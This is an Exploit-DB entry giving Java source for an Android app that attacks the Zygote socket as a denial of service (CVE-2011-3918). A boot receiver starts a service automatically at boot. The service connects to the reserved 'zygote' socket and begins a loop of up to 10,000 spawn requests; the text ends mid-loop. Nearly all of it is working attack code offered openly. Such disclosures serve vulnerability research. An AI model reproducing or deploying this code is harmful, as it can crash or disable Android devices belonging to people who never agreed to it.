Exploit-DB #28957
Description: Android Zygote - Socket and Fork Bomb (Denial of Service)
Type: dos
Platform: android
Date: 2013-10-14
Author: Luca Verderame

Exploit:
################# BootReceiver.java ##################

/**
 * Android Application that performs the fork bomb attack http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3918
 *
 * Further informations can be found at http://www.ai-lab.it/bugAndroid/bugAndroid.html
 * 
 * 
 * @author Luca Verderame <luca.verderame@unige.it>
 * @version 1.0
 * 
 * Copyright 2012 Luca Verderame
 * 
 * This file is part of ZygoteVulnerability.

    ZygoteVulnerability is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    ZygoteVulnerability is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with ZygoteVulnerability.  If not, see <http://www.gnu.org/licenses/>.
 * 
 */



package it.ailab;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
 
public class BootReceiver extends BroadcastReceiver{
	
        @Override
        public void onReceive(Context context, Intent intent) {
        	
	        	Log.d("BOOT","boot completed. starting service");
	        	Intent intentReceiver = new Intent();
	        	intentReceiver.setAction("it.ailab.ServiceDOS");
	            context.startService(intentReceiver);
        }
}


################# ServiceDOS.java ##################


/**
 * Android Application that performs the fork bomb attack http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3918
 *
 * Further informations can be found at http://www.ai-lab.it/bugAndroid/bugAndroid.html
 * 
 * 
 * @author Luca Verderame <luca.verderame@unige.it>
 * @version 1.0
 * 
 * Copyright 2012 Luca Verderame
 * 
 * This file is part of ZygoteVulnerability.

    ZygoteVulnerability is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    ZygoteVulnerability is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with ZygoteVulnerability.  If not, see <http://www.gnu.org/licenses/>.
 * 
 */


package it.ailab;


import java.io.BufferedWriter;
import java.io.DataInputStream;
import java.io.IOException;
import java.io.PrintWriter;

import android.app.Service;
import android.content.Intent;
import android.net.LocalSocket;
import android.net.LocalSocketAddress;
import android.os.HandlerThread;
import android.os.IBinder;
import android.util.Log;

public class ServiceDOS extends Service{
	
	SocketUtil socketUtil = null;
	
	public boolean connectToZygoteIfNeeded(){
		
		int retry = 0;
		while(((socketUtil == null) || (socketUtil.sZygoteSocket == null)) && retry < 20)
		{
			Log.d("SERV", "connection to socket needed");
			socketUtil = null;
			if (retry > 0) {
                try {
                   Log.d("SERV", "Zygote not up yet, sleeping...");
                   Thread.sleep(500);
                } catch (InterruptedException ex) {
                   // should never happen
                }
			}
			//loading part..
		    	    
		    LocalSocket client = new LocalSocket();

            try {
				client.connect(new LocalSocketAddress("zygote",LocalSocketAddress.Namespace.RESERVED));
			} catch (IOException e1) {
				// TODO Auto-generated catch block
				Log.e("SERV","link client error");
				e1.printStackTrace();
			}
            
			if(client != null)
			{
				DataInputStream in = null;
				try {
					in = new DataInputStream(client.getInputStream());
				} catch (IOException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				}
				PrintWriter p = null;
				try {
					p = new PrintWriter(client.getOutputStream());
				} catch (IOException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				}
				BufferedWriter out = new BufferedWriter(p);
				socketUtil = new SocketUtil(client,in,out);
				Log.d("SERV", "socket connection completed");
			}
			retry++;
		} //fine while
		if(socketUtil != null)
		{
			if(retry > 0)
				Log.d("SERV", "socket connection completed");
			return true;
		}
		return false;
	}
	
	
	
	@Override
	  public void onCreate() {
	    // Start up the thread running the service.  Note that we create a
	    // separate thread because the service normally runs in the process's
	    // main thread, which we don't want to block.  We also make it
	    // background priority so CPU-intensive work will not disrupt our UI.
	    HandlerThread thread = new HandlerThread("ServiceDOS");
	    thread.start();	    
	    connectToZygoteIfNeeded();	
	  }
	
	@Override
	public IBinder onBind(Intent intent) {
		// TODO Auto-generated method stub
		onStartCommand(intent,0,0);
		return null;
	}
	
	@Override
	  public int onStartCommand(Intent intent, int flags, int startId) {
	    
		Log.d("SERV","onStart");
		final int uid = 123456;
		final int gid = 123456;
		final int[] gids = {};
		String[] extraArgs = null; //altrimenti null

		String className = "com.android.internal.util.WithFramework";
		//String className = "android.app.ActivityThread";
		
		int res = 0;
		int tr = 0;
		while(tr<10000)
		{
			//String niceName = "DummyProcess"